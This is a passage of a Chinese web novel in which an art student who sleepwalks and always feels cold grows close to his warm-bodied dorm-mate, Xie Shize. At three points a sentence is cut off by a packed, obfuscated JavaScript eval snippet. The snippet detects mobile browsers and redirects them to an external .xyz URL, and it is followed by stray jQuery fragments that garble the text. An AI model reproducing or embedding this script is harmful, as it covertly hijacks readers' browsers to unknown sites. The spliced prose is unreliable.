沈知浔接了水回来,把谢时泽的保温杯放到他的桌子上,转身走到自己的座位旁。 他还有一副主题画没画,面前是摊开的画纸,抱着保温杯一边暖手,一边思考要怎么下笔。 沈知浔在脑子里过了一遍自己的想法,握着画笔在纸上勾勒出轮廓,心无旁骛的沉浸在画画中。 直到喉咙有点痒,才从聚精会神的状态脱离,轻轻咳了一声,抱着保温杯喝了一口水,还没放下保温杯,就听见卫生间的门打开的声音。 谢时泽从卫生间走出来,他爱干净,不管外面的天气如何,几乎每天都要洗一次澡,洗完澡后身上还带着一身热浪潮气。 他走出卫生间,先注意到放在桌上的保温杯,唇角弯起一瞬,走了过去。 向晓和张康年见谢时泽已经洗完澡出来了,连忙道 :“谢哥你先等一会儿,我们这把好像要逆风翻盘了。” 谢时泽喝了口加了感冒冲剂的水,慢悠悠地 :“不急。” 沈知浔的视线随着谢时泽走动跟着转移,他的座位和谢时泽隔得不远,对方一过来,他就感觉周围的空气都好像极速升温了。 沈知浔看着谢时泽在这样寒冷的天气打球,额头上还有汗时,觉得他应该很暖和的,但没有一个清晰的实感。现在宿舍楼外还在刮风,他周围的空气却因为谢时泽的靠近而变得滚烫起来。 沈知浔注意到谢时泽小口喝着保温杯里的冲剂,杯口热气氤氲,他额头上也溢出了一点浅浅的薄汗。 沈知浔惊讶地看了一眼,确定自己没有看错,微微讶异的时候。 谢时泽的手机忽然响了起来,他洗澡前随手把手机丢在了床上,看了眼阳台外面刮起的风,犹豫了一下,还是去宿舍外面接电话了。 谢时泽看着手机显示是一个经常打球的朋友,接起电话还是不免意外 :“这种天气打球?” “室内篮球场,那没事了。”他半倚靠在宿舍的墙上,走廊里的窗外能看见外面漆黑浓厚的夜色 :“还是上次那群人?” 紧闭的宿舍门突然打开,谢时泽偏头,看到沈知浔从门里走出来,他弯了下眼睛,三言两语结束对话,转头问 :“怎么了?” 沈知浔目光在他额头上轻轻掠过,他画还没画完,打算速战速决,问出来语气里还有点不可思议 :“谢时泽,你是不是很热?” 谢时泽怔了一下,他的体温偏高,洗完澡后出来会感觉热是常有的事,看到沈知浔脸上认真的表情,明白了什么,嘴角扬起一点弧度 :“是有一点。” 沈知浔朝他走过去,两人的距离一下拉得很近,近到只能容纳半只手臂,沈知浔朝谢时泽伸出手,手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050997|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴上谢时泽手心的瞬间,沈知浔手指蜷缩了一下,不由自主地握得更紧。 谢时泽舒服地弯起了眼睛。 和沈知浔不同,他现在的感受就像夏天被冰冰凉凉的冰淇淋贴在脸上的感觉。 不知道是不是学画画的都这样,沈知浔的手指很长,手也很柔软,光光滑滑的,炙热的手心握着这样柔软又冰凉的手,很舒服。 谢时泽感受着手心的触感,不知不觉就把心里话说出来了。 “不是。”沈知浔愣了愣,继而一板一眼地摇头,脸上的表情有些茫然 :“我不知道,没有跟他们握过手,不知道他们的手是不是这样的。” “嗯。”谢时泽摸了摸鼻梁,觉得沈知浔一字一句解释的样子让他有点想笑,又不知道在笑什么,忍住了,突然想起沈知浔曾经看过他们打球。 “体院的人明天要打球,你要来看吗?” 沈知浔有些惊讶 :“在小操场?” 顶着这么大的风? 谢时泽 :“不是,室内篮球场。” 沈知浔慢吞吞地哦了一声,轻声拒绝了 :“不了,我明天有课。” 谢时泽也是随口一问,点点头,宿舍外面没有里面暖和,沈知浔似乎还没有画完画,他主动说 :“进去了?” 沈知浔却没动,眸光落在谢时泽脸上一瞬,感受着手心里的温度,明亮的眼睛漂亮又剔透,想法一览无余 :“你不热了吗?” “嗯。” 沈知浔还想说什么,谢时泽嘴角率先扬起一点弧度说 :“谢谢你帮我降温,别人洗完澡出来可能会有点受不了卫生间和外面的温差,但我每次洗完澡后都挺热的。” 谢时泽又道 :“明天打球,我可能会回来得晚点,到时候给你带好吃的。” 帮谢时泽降温除了是帮他,他身上的温暖也是沈知浔渴望的,在他看来是互利互惠的事。 “不用了。”沈知浔摇头。 谢时泽笑 :“礼尚往来,你都请我吃饭了,就让我请回来吧。” “就这样说定了,进去吧。” 沈知浔张了张口,又闭上了,他兀自在心里懊恼,这次就算了,下次一定要把话说快一点。 他们回到宿舍,向晓和张康年正在找谢时泽,见人进来,立马把人拉过去抱怨 :“原本以为要逆风翻盘的局,结果最后居然被偷家了,气死了。” “谢哥,你用我的手机打吧,我估计我们可能匹配不上了。” 沈知浔绕开他们走到桌子旁边,听着身后的背景音,握着笔打算继续画画,忽然低头看了一眼手掌心,手心里还残留着谢时泽手掌的温暖。 沈知浔忍不住攥紧了手心,想要这股温暖残留的久一点。 又想到谢时泽说每次洗完澡都挺热的话,一时间很难静下心,脑海里不受控制地浮现出谢时泽洗完澡走过来,让他周围的空气都升温的一幕。 谢时泽穿着的睡衣并不厚,能够更大程度的贴紧皮肤,有时候洗完澡出来头发都是潮湿的,水珠滴落到他泛着粉色的皮肤上。 滚烫、温暖。 带着难以言喻的吸引力。 沈知浔确实不觉得帮谢时泽降温,是一件需要他回报的事情,因为他的需求远比谢时泽大得多。 他握紧了手里的画笔,咬着唇,意识到越回忆具体细节只会加深渴望,想要将脑海里的画面驱逐出去,却无法克制一个早就根深蒂固的念头冒出来。 要是能抱一下就好了。 9. 第九章 沈知浔今天早上有艺术概论的专业课,课间休息时收到阮兆兴的消息,对方终于从忙碌的医学生涯中抽出点空,约他中午一起吃饭。 上午的课上完,沈知浔收拾好东西直奔食堂,这个时间段食堂人很多,进去后视线在里面巡视一圈。 阮兆兴坐在角落的位置上,一眼就看到沈知浔了,站起来朝他挥手 :“知知,这里!” 沈知浔朝着他的位置走过去,阮兆兴把帮他打的饭推过去 :“二号窗口的砂锅米线,我没记错吧?” “没记错。”沈知浔道了声谢,坐在阮兆兴对面。 阮兆兴和沈知浔这样的美术生不同,每天忙得晕头转向,而且医学院的校区和这边隔着点距离,以前两人都在一个宿舍,每天晚上回去也能碰面,现在见一面倒是不容易了。 两人聊着各自的近况,阮兆兴简直有倒不完的苦水,医学生不如艺术生轻松,聊着聊着想起上次说的事竟然还有后续,问 :“孟良是不是加你微信了?” 沈知浔最近是有收到前舍友的好友申请,他当没看到,正好阮兆兴在这儿 :“他有什么事吗?” 阮兆兴一脸无语 :“他想让你重新搬回去,我就没见过脸皮这么厚的人,别搭理他就对了。” 他说着又想起沈知浔梦游的事情,梦游这件事在他眼里不算什么大事,可难免有像孟良那样没法接受的人 :“对了,你最近梦游了吗?” 沈知浔点了点头。 阮兆兴本来是随口一问,因为没见沈知浔向他诉说这方面的事,以为他最近没有梦游,闻言惊讶道 :“那那你舍友他们发现了吗?” 沈知浔摇头 :“有两位舍友暂时不知道。” 他把发生的事前前后后跟阮兆兴说了一遍,听到沈知浔说谢时泽不怎么在意时,连饭都顾不上吃了,啧啧感叹 :“原来你的新舍友是校草啊,格局就是不一样。” 沈知浔疑惑 :“你也认识谢时泽?” 他以为像阮兆兴这种两耳不闻窗外事的医学生会不关注这种八卦。 阮兆兴点头 :“我好歹也是燕大的,谁不关注凭一己之力压在一众男性同胞脑袋上的男人?” 他挺不正经地说 :“当初投票的时候,我还觉得这人压在你头上没道理,咱们知知多好看啊,哪儿来的阿猫阿狗一边去。现在看来对方能当校草还是有原因的。” 沈知浔轻轻摇头,阮兆兴是gay,刚分配宿舍的时候,他听到沈知浔是艺术系的,又见人长得漂亮,以为他也是同道中人,谁知道沈知浔竟然不是。 阮兆兴知道的时候都惊了,笑着调侃他们两个的属性反了,看着正经得不行的医学生是gay,漂亮又高冷的艺术生反而又纯又直。 直男和gay能成为朋友,阮兆兴也觉得很神奇,幸好他虽然是gay却没有谈恋爱的打算,要不然跟沈知浔讨论一些话题也挺奇怪的。 “你这阵子没感冒吧?这鬼天气还不知道要冷多久。”阮兆兴低头吃了一口米线,他自然是知道沈知浔的体质的。 他们还住在一起时,有次他不经意碰到了沈知浔的手,像碰到了冰块一样。 沈知浔 :“还好,除了上课大部分时间都在宿舍。” “那就好。”阮兆兴的休息时间不多,他们医学生真的很忙,吃了午饭就跟沈知浔挥手 :“我走了,知知,下次见。” “下次见。” 沈知浔跟他告别,他也要去画室。 那张要交的主题画沈知浔还没画完,下午就要交上去了,这个时间段画室基本没人。 他刚到画室不久,画室就又来了一个人,魏林走进来,意外地看着坐在位置上专心画画的人。 发现他还在画教授前两天布置下来的主题画。 魏林走到自己的位置旁坐下,阴阳怪气地 :“平时装得跟个什么样,背地里还不是在偷偷背着人卷。” 按照沈知浔平时的速度,一副主题画不可能这么久都没有画完,他下意识以为沈知浔画了不知道多少幅。 沈知浔沉浸在画画里,根本没注意到画室多了个人。 魏林被无视了个彻底,翻了个白眼,也拿出空白画纸,画着速写。 到快上课的时间,画室的人变得多了起来,沈知浔才堪堪补完了作业,能在这么快的时间画完他已经很满足了,虽然还有些瑕疵。 但比起在宿舍的进度已经很快了。 直到上这堂课的教授进来,魏林注意到,沈知浔上交了这幅刚画完不久的画。 他进来画室的时候对方还在勾勒线条,现在画上的颜色都还没完全干,魏林后知后觉,又夹杂着一丝不可置信。 平时总是第一个交作业的沈知浔,竟然真的是在“补作业”? 他也瞄了一眼对方的画,这点时间放在他身上根本不够画完一整幅画的,更不用说还有处理线条,思考该如何搭配色彩,让画面看上去更加和谐了…… 教授一一看过每个人的作品,轮到沈知浔时,也注意到沈知浔画板上的颜料还没干,微微愣了下,随即又道 :“这是你赶出来的?” 沈知浔有些羞愧地点了下头。 这幅画比起沈知浔以往交上去的画并不逊色,他早就在心里想好要怎么画了,只是一直没有时间,却还是有不足的地方,更“潦草”了一点。 教授却微笑着点头 :“虽然是赶出来的,整体搭配却很和谐,还多了点以前没有的随性。” 话锋一转问他 :“最近很忙吗?” “还好。”沈知浔摇头,想到这幅赶出来的画,迟疑了一下 :“搬了新宿舍。” 教授了然,画也能体现出主人一部分的性格,沈知浔的天赋毋庸置疑,但他的性格很冷,平时也不太和画室的其他人接触。 艺术是孤独的,但灵感还需要从周围的人事物中获得,如果总是孜然一身,不打开自己,那再好的天赋也会有灵感枯竭的一天。 以前沈知浔能从事和物中汲取灵感,现在换了新宿舍,没时间画画,匆匆赶出来的画反倒多少点往常没有的东西。 多了一丝鲜活的气息,教授乐见其成沈知浔的改变,点评了两句就让他下去了。 沈知浔今天满课,回到宿舍时已经是晚上了,向晓和张康年不见人影,谢时泽跟体院的人打球,晚上聚餐还没有回来。 沈知浔平时洗澡都是在睡前,先让其他人洗,今天宿舍没人,便拿着换洗衣服去卫生间了。 他洗完澡出来,拿着吹风机仔细把头发吹干,走回到自己的桌子旁边,正想削一根铅笔,就听见手机响了一声。 沈知浔放下铅笔,拿起手机。 谢时泽 :[你吃什么味道的曲奇,有原味、巧克力、抹茶三种味道。] 沈知浔一看就知道是昨天谢时泽说给他带好吃的回来,手指动了动 :[都可以。] 谢时泽过了一会儿才回复 :[原味的正宗,巧克力的比较甜,抹茶味道的还可以。有试吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050998|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我各买了一点。] 他拍了一张照片过来,三种味道的曲奇用三个包装成小熊的袋子装着。 沈知浔 :[?] 谢时泽 :[不都尝一下怎么知道自己喜欢吃哪种?万一买到你不喜欢的呢。] 沈知浔想说“我没有不喜欢的”,又一个字一个字的删掉,看时间还早 :[你要回来了吗?] 谢时泽 :[还要一会儿呢,体院的人都很能吃,还要续摊。] 谢时泽 :[我在校外,你有要带的吗?] 沈知浔想了想,他的白颜料快用完了,这几天一直忘记补 :[可以帮我带一点白颜料吗?] 谢时泽 :[可以的,要多少?] 沈知浔 :[越多越好,回来把钱给你,谢谢。] 谢时泽 :[ok。] 沈知浔收起手机,画了一副速写练习,画完后快到宿舍熄灯的时间了,谢时泽还没回来,向晓和张康年也不知所踪。 他收拾好躺在床上,习以为常的在被子里蜷缩成一团,刚进被窝里比较冷,等一会儿才会暖和,冰凉的手和脚却没办法暖和起来。 浅浅地呼出口气,将注意力转移到其他地方,直到思绪跑得拉不回来,睡意才慢慢降临。 - 谢时泽回宿舍时已经快接近十二点了,向晓和张康年去了隔壁宿舍打游戏,他估计宿舍里只有沈知浔一个人。 放轻了动作进门,把给沈知浔带的白颜料和曲奇饼干放在他桌子上,想起去买颜料时还被老板误会是美术生,因为只有美术生会买这么多白颜料。 漂亮的眼睛弯起一瞬,脸上露出点懒散的笑。 他开着手电筒的光正要去衣柜前,拿换洗衣服,身后传来一点细微的动静。 谢时泽刚开始没注意这点动静,直到听到脚步声,下意识地回头 :“你还没……” 他的声音戛然而止,想起了什么似的,眉梢微扬,看着只穿着睡衣站在他面前的沈知浔。 沈知浔穿着宽松厚实的毛绒睡衣,大概是睡觉不老实,把领口扯得有些大,他的皮肤应该很白,领口那点皮肤在黑暗中都显现出了大片隐隐约约的白色,很明显。 谢时泽微微回神,声音轻得像呢喃,自问自答 :“梦游了?” 沈知浔似乎没有听见他的话,不说话也不动,他的眼神没有焦距,目光看向的方向在谢时泽亮起的手电筒光上。 谢时泽的视力很好,在黑暗中也能看见点东西,只是到底还是有点光亮比较好,不确定是不是闪到沈知浔的眼睛了,垂眼把手电筒的光关了。 他声音压低,轻轻的 :“沈知浔,回去睡觉了。” 沈知浔没动,他像是完全听不见谢时泽的话,也对外界没有一点反应。 谢时泽看着黑暗中那点朦胧的白,这样的夜晚对他来说不算凉,但对沈知浔来说就不一样了,穿这么点从床上爬起来。 他好像知道沈知浔为什么会感冒了。 谢时泽像是有无限的耐心 :“沈知浔,再不回去你要感冒了。” 沈知浔眨了眨眼,终于对某个词有了一点反应,他没什么表情的脸上有了丝波动,慢慢朝着谢时泽的方向走过去。 他的脚步迟缓,仅凭着本能行动。 谢时泽看着他缓缓向他走近,笑了笑 :“沈知浔同学,这么大点地方怎么还能迷……” 他的声音顿住,因为沈知浔走到他面前,突然张开手抱住了他。 10. 第十章 凌晨的宿舍静得仿佛针落在地上的声音都听得见。 谢时泽有片刻的怔愣,未出口的话卡在喉咙里,沈知浔的动作迟缓,却因为预料不到他的下一步动作而让人觉得始料不及。 比腰间多出一双手更快感受到的是沈知浔身上的气息,像是他用的沐浴露味道,清冷中混合着一点甜味。 接着胸口一沉,沈知浔把头靠了过来,两只手臂放在他的腰间,柔软的脸颊贴在他胸口。 谢时泽怀疑今晚梦游的人可能是他… 他脸上都浮现出了一抹显而易见的困惑,不敢相信眼前的画面是真的。 然而腰间抱着他的手还没有松开,稍稍低头就能嗅到一丝混合着清冷的甜味,谢时泽一动不敢动,或许是知道沈知浔现在是不清醒的状态,又或许是他自己都没反应过来。 他感觉自己像被什么“硬控”了一样。 不敢动,不敢说话,怕惊扰到什么,足足维持着这样“呆滞”的状态好几秒,谢时泽才慢慢回过神。 “沈知浔。”嗓音轻轻的,像是不想吵醒对方,又实在不知道该说点什么。 理所当然的得不到回应。 沈知浔抱着谢时泽,脑袋埋在他的胸口,他没有理智,甚至不知道自己在做什么,可他潜意识里依然觉得这样很暖和。 谢时泽犹豫了一下,还是抬手搂住了他的肩膀,另一只手在他的背上轻轻拍了拍。 谢时泽听说过梦游症这个病,造成这个病的有多种原因,遗传、心理、精神等等各种因素,他不知道沈知浔梦游的诱因是什么。 也确实没有把它当成一件需要过度在意的事情。 包括现在,短暂的怀疑自己出现幻觉后,谢时泽就心态良好的接受了,梦游本身就无法控制自己,那出现这种情况也是合理的。 他不禁想到沈知浔找他取暖时,低垂着脑袋难为情的样子。 这样的取暖在谢时泽看来不算什么,高中时有的同伴甚至在冬天也不打招呼就把冰凉的手放在他口袋、帽子底下。 沈知浔一看就不像是会干这种事的人,连暖个手都那么难为情,他几乎可以想象如果让沈知浔知道他梦游后抱住了他会是什么样的反应。 没必要。 沈知浔也没办法控制梦游的自己。 谢时泽被他这么抱了一会儿,他还拿着手机,这样搂着的姿势不太舒服,想把手机放回口袋,刚有想动弹的趋势,就察觉到怀里的人身体一僵。 像是极没有安全感的猫,犹豫万分小心地走到他膝上趴下,但稍有一点风吹草动就会被吓跑。 “我不动了。”谢时泽连忙把手重新放回沈知浔的肩膀上,安抚地拍了拍 :“你想抱多久抱多久,行吗?” 怀里的人不动,也不说话。 沈知浔比谢时泽矮了小半个头,除了手上拿着手机抱着不太方便,其实两人的身高差很合适。 谢时泽今天下午和体院的人打了会儿球,回来时天色已经很晚了,体力被消耗了一点,可心里还是有点燥热的不舒服。 运动后体温升高,对于平时体温就比一般人高的谢时泽来说就有点难受了。 往常他洗个澡,平复下心情就好了。 但被沈知浔抱住,他浑身冰冰凉凉的,刚从被子里爬起来身上也只有一点热气,把他抱在怀里,好像夏天抱着空调一样舒服,轻易就能抚平心底那点燥热。 谢时泽并没有感到困扰或者不舒服,只是手有点不知道该放在哪里,沈知浔不同于他身边的任何一个人。 他看上去冷冷清清的,却出乎意料的柔软,凑得近了还能闻到一股清冷的甜味。 谢时泽身边的朋友都皮实得很,看起来抗摔耐损的,沈知浔则像是一件会被放在橱窗里欣赏的艺术品,如果将这件艺术品放到了他手上,他就会很小心翼翼的捧在手里,恨不得一天擦三遍,生怕不小心就摔了碰了脏了。 奇妙又贴切的比喻。 谢时泽笑着摇了摇头,他摇头的动作惊扰了在他怀里的沈知浔,他松开了手。 似乎是梦游的时间到了,潜意识里认为还是要回到床上去。 他松开放在谢时泽腰上的手,缓慢地转身朝着自己床铺的方向走。 “沈知浔,早点睡。”谢时泽看着他转身,原本还担心他找不到自己的床位,紧跟在后面。 但看着他畅通无阻的走到自己的床边坐下、脱鞋,上床关紧床帘,像做了无数次一样熟练。 要不是他呆板的表情,任谁都不会怀疑这时的沈知浔是不清醒的。 谢时泽第一次接触到梦游的人,没想到他们梦游时也还有逻辑,惊奇的同时嘴角也不自觉地扬起。 - 隔天早上沈知浔难得上午没有课,他困倦的赖了会儿床。 昨晚大概又吹过风了,白天眼看着有一丝晴朗可能的天气被吹没了。 沈知浔起床后拉开窗帘去看外面的天气,天空阴沉,乌云压顶,云层聚集在一起,明明还不到中午,看着却像下午一样。 宿舍全员到齐。 一夜未归的向晓和张康年在床上呼呼大睡,卫生间里传来洗漱的声音。 沈知浔也看到了放在他桌上的白颜料和三袋包装精美的曲奇饼干。 他都不知道谢时泽什么时候回来的。 卫生间的门打开,一身清爽谢时泽从里面走出来,明明是春天最胡乱穿衣的季节,但他穿得单薄又帅气,还能给人一种清清爽爽的感觉。 “早上好。” 沈知浔 :“早上好。” 他看着桌上一堆白颜料 :“这些多少钱,我把钱转给你。” 谢时泽随口说了一个数,又好奇地问 :“美术生的白颜料都消耗得很快吗?买颜料的老板说经常有学生到他那里买白颜料。” “嗯,白颜料是最容易消耗的一个颜色,画画过程中很需要它,又容易弄脏,弄脏就不能要了。”沈知浔解释 :“而且它比其他颜料贵一点。” 谢时泽顿时肃然起敬 :“原来这么珍贵。” 沈知浔把钱转给他,又问 :“谢时泽,你还要用卫生间吗?” “你用吧。”谢时泽摇头。 沈知浔去卫生间洗漱了,出来后看着外面的天气,他不太想出去,正犹豫是随便吃点零食还是点外卖。 谢时泽低头看了一会儿手机,抬头拿着手机冲他示意 :“你点外卖吗?” 沈知浔没怎么纠结就点头了。 谢时泽笑笑 :“那一起吧。” 他把手机递给沈知浔,向他推荐 :“这家店离学校不远,味道还不错,做的都是偏清淡的,应该符合你的口味。” 沈知浔讶异谢时泽只跟他吃过一次饭就注意到了他口味偏清淡,低头在手机上选了两道菜就还给他了 :“好,不用问向晓他们吗?” 谢时泽看了他选的两道菜,又添了两样,凑成了三菜一汤,想了想,又勾了一个香草布丁,随口道 :“他们昨晚通宵打游戏,不到下午起不来的,现在点等他们起来也冷了。” 沈知浔点头,正想回自己桌子旁边坐下,谢时泽示意他去看桌上放着的曲奇饼干 :“先吃点垫垫肚子吧。” “嗯。” 桌上放着三种口味的曲奇,沈知浔想到谢时泽对它们的评价,把一袋原味的递给他。 谢时泽笑了笑,把椅子朝沈知浔的方向挪了点距离,接过饼干的时候触碰到了沈知浔的指尖,微微一愣。 刚洗漱过,他的手指还带着热水的洗涤后的温度,白皙的手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050999|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染上了淡淡的粉色,看着却有点不自然的僵硬,立马明白过来了 :“手冷?” 卫生间的水只能算得上温热,对于沈知浔来说也只是不冷,这样不冷不热的水温在打湿了手指后,反而会让刚接触到热意的手变得更渴望温暖。 沈知浔纠结一秒,轻轻点了下头,谢时泽牵着他的手,温暖的手心贴在他的手心上,手指挤进了他的指缝。 现在还在宿舍,向晓和张康年虽然不到下午起不来,但宿舍有人这件事,还是让牵手这件事多了点说不清道不明的含义,沈知浔不由道 :“可以坐过来一点吗?” 谢时泽看了眼两人椅子间的距离,后知后觉地“哦”了一声,拖着椅子坐到了沈知浔旁边,笑了笑 :“挤着暖和。” 沈知浔抿了下唇,轻轻嗯了一声。 谢时泽买的曲奇味道不错,巧克力和抹茶都很好吃,沈知浔肚子已经有点饿了,吃了几块,谢时泽又把原味的递过来 :“尝尝这个,也很好吃。” 沈知浔拿了一块原味的,他们的手一直牵着,只是吃饼干也不妨碍什么。 谢时泽不怎么饿,吃了两块就不吃了,侧头看着沈知浔,他身边没有艺术生,不知道艺术生是不是都是这样,一举一动都有种说不出的美感。 “这里。”他突然指了下自己的嘴角。 沈知浔拿着一块饼干刚放到嘴边,闻言茫然的眨了眨眼。 谢时泽抬手在沈知浔嘴角旁边捻下一点饼干碎屑 :“不小心沾到上面了。” 沈知浔没想到脸上会沾到碎屑,张了张口,不知道该说什么,感觉耳朵有点烧,转移话题道 :“谢时泽,你今天没课吗?” 谢时泽忍住笑意 :“嗯,你呢?” 沈知浔 :“我还有专业课。” 谢时泽应了一声,拿出手机看了看时间 :“现在十点过,吃了饭应该还来得及。” 外卖送来时接近十一点了,沈知浔吃了饭,收拾好背包提前去了画室,他一向习惯早到。 谢时泽今天没课,慢悠悠地提着收拾好的垃圾去扔了,顺便取了个快递回来。 他在外面晃了一圈儿,回到宿舍时,向晓正从床上爬起来,他饿得两眼发晕,看到谢时泽进门 :“谢哥你有没有吃的?” 目光随即落在谢时泽桌上,正好看到一袋饼干 :“谢哥,你桌上的饼干我先拿来垫垫肚子了啊,再不吃点东西,我快饿得没力气了。” 他刚走出一步,就听见谢时泽在身后悠悠地说 :“那是沈知浔的。” “啊?”向晓疑惑转身,他是真饿了,连沈知浔的桌子也没放过,只是不敢造次,指着沈知浔桌子上的两袋饼干,茫然 :“那这两袋是谁的?” “也是沈知浔的。” 向晓开始思索他给沈知浔发消息想吃他的饼干,他同意的可能性了。 谢时泽把快递放到桌上,示意他去开柜子 :“里面应该还有点巧克力。” “好嘞!谢谢哥。”向晓瞬间满血复活。 谢时泽拆着快递,他换了个新的游戏手柄,原来的那个手感不太好,商家包裹得很严实,拆了一层里面还有一层。 向晓去谢时泽柜子里搜出了巧克力和一点其他的零食,抱着回了自己的床位,坐在床边一边啃巧克力一边看谢时泽拆快递。 忽然,他的视线转移到阳台外,天气冷,阳台除了进出晾晒衣服已经不怎么打开了。 看着外面刮起的风,和风中夹杂着的零星小雨,向晓说 :“下雨了。” 谢时泽抬起头,阳台外面刮起了一阵冷风,吹得天空更加阴沉,风里夹杂着细密的雨丝,吹到阳台上很快就打湿了地面。 向晓在数宿舍里的人 :“我在,你在、张康年在……沈知浔不在。” 11. 第十一章 画室。 “创意节?” 教授刚说完学校准备联合其他大学在市区中心举办的大学生创意活动,安静的画室就响起窃窃私语声。 教授抬手示意他们安静 :“想要参加的人下课来找我报名,学校会从报名的人里选择作品放到创意节上展览,好了,大家先做自主练习。” 教授顿了顿,目光看向画室的一角 :“沈知浔,你出来一下。” 沈知浔放下画笔,在画室其他人意义不明的目光中走出去。 教授看着沈知浔目光有些复杂,每个老师都会有那么一两个得意门生,沈知浔毫无疑问是他最看好的学生。 “这次的创意节是由咱们学校牵头,艺术系也一直是咱们学校的TOP专业之一,虽然创意节上大部分都是各大高校的学生作品,可受邀参加创意节的除了学校的名誉校友,还有艺术圈子里的人。” 燕大联合的几所大学都是名牌大学,每年从这几所大学毕业的学生数不胜数,而其中艺术系的学生有的或许籍籍无名,有的却崭露了头角。 创意节上邀请了各界人士参加,各大高校都能将有潜力的苗子推出去,无论是即将毕业的艺术生,还是低年级学弟,毕业时都会多一份保障。 按道理教授不应该将沈知浔叫出来单独嘱咐一遍,这样别人抢破头的好事,换成谁都会想也不想的报名。 但教授多少也了解沈知浔的情况,他之前参加的比赛都是有奖金的。 教授不觉得他这样有什么不对,艺术同样需要大量的金钱作为支持,也同样是商业性的,如果不具备商业性,怎么让人抢破头、趋之若鹜? 这次机会难得,教授忍不住劝道 :“这次是学生自愿报名,学校并没有准备奖励经费,但作品能被选上在创意节展览,除了学校沾光,对你们也有好处。” 艺术这个圈子就这么大,他现在结交到的人,对他的未来也有好处,哪怕用不到,放在那里也多了一条路。 “我知道了,老师。”沈知浔点点头。 教授怕他不上心,又道 :“咱们学校也只有三个名额,从全校参加报名的人里面挑选,不只有你们年级,你要好好对待。” 沈知浔原本对这件事没有太多想法,就如教授说的那样,他的艺术确实具有商业气息,不那么纯粹。 但他听得出教授的一片好心,报名创意节对他来说也没有坏处,点点头,表示自己会认真对待。 教授又嘱咐了两句,才让他回画室。 沈知浔进画室的时候,没有老师坐镇,还刚刚宣布了创意节这件事,画室闹哄哄的,他径直走回自己的位置。 旁边的女生朝他的位置凑近了一点,也只有一点点,知道沈知浔的性格,还维持在基本的社交礼仪范围内,好奇地问 :“沈知浔,你要报名吗?” 沈知浔 :“嗯。” 女生一脸意料之中地点头,给他竖起个大拇指。 沈知浔想了想,觉得正常对话这时候都要反问对方 :“你呢?” “我?”女生不确定地用手指了指自己,见沈知浔点头,忙不迭摇头 :“我不参加,这种大神打架,我这种菜鸡去凑什么热闹。” 见沈知浔看着她,女生得意的晃了晃手里的手机 :“可靠消息,这次创意节不止我们年级,大三大四的学长也要参加,尤其是大四的学长,他们今年就要找工作了,这种由学校牵头的好机会怎么可能错过。” 女生的话吸引了注意,陆续有人加入到讨论中 : “听说大四也有参加比赛奖金拿到手软的大神,要是也跟着报名,竞争会更激烈吧?” “燕大已经是一流大学了,联合的其他几所高校同样实力不俗,这才叫真的神仙打架!” “神仙打架我们这些小菜鸡就不掺合了,去了就是炮灰。” 讨论不断,直到教授走进画室,凑在一起说话的人才像被人按下了静止键。 教授看了一眼说话最大声激动的那位 :“练习都画好了?拿上来我看看。” 画室顿时响起一阵压低的哀嚎声。 其他人不敢说话了,沈知浔也把注意力放到面前的画板上。 一直到下午的课快结束,沈知浔坐久了身体有点僵硬,正要活动一下,就听见旁边有人说 :“下雨了?” 沈知浔立马转头朝窗户的方向看了一眼。 画室在三楼,能看见窗外刮着风,厚重的云层下,雨滴被吹歪了,飘飘摇摇地往下落。 距离下课只有十多分钟了,看着这雨一时停不下来的阵势,周围的同学坐不住了 : “马上要下课怎么下起雨来了?” “有人带伞了没有?” “这雨看着没多大,冒着雨回宿舍不会感冒吧?” 沈知浔从看着这场突如其来的雨时就蹙起的眉心,在听到某个关键字眼,眉心的褶皱更深了。 他给练习做着收尾,时不时扭头看一眼窗外的雨,期盼着这场雨能在下课之前停下。 可惜等沈知浔画完练习,这场雨都没有停下的征兆。 周围人从坐在位置上画画,到拿起手机联系在宿舍的舍友,沈知浔也握着自己的手机,陷入了纠结中。 怎么办? 他要联系谢时泽吗? 可是平时已经很麻烦对方了。 沈知浔还没想好,握在手里的手机先响了起来。 谢时泽 :[你们画室在几楼?] 沈知浔看着手机上突然冒出来的这条消息,几乎怀疑自己眼花了,眨了眨眼,屏幕上的消息还是和刚才如出一辙。 沈知浔 :[你来艺术楼了?] 他几乎迫不及待地起身走到窗户边去看。 谢时泽 :[嗯。不过你们老师拖堂了吗?到下课的时间点都没人走出来?[皱眉]] 因为外面在下雨,无论是等舍友来接,还是抱着雨势会渐渐小下来的人都没有出去,画室好歹还挡风。 没有看到谢时泽的人影,沈知浔低头看着手机上的消息,回复 :[没有拖堂,外面太冷了,大家没伞都不愿意出去……我好像没有看到你。] 谢时泽 :[我在教学楼门口。] 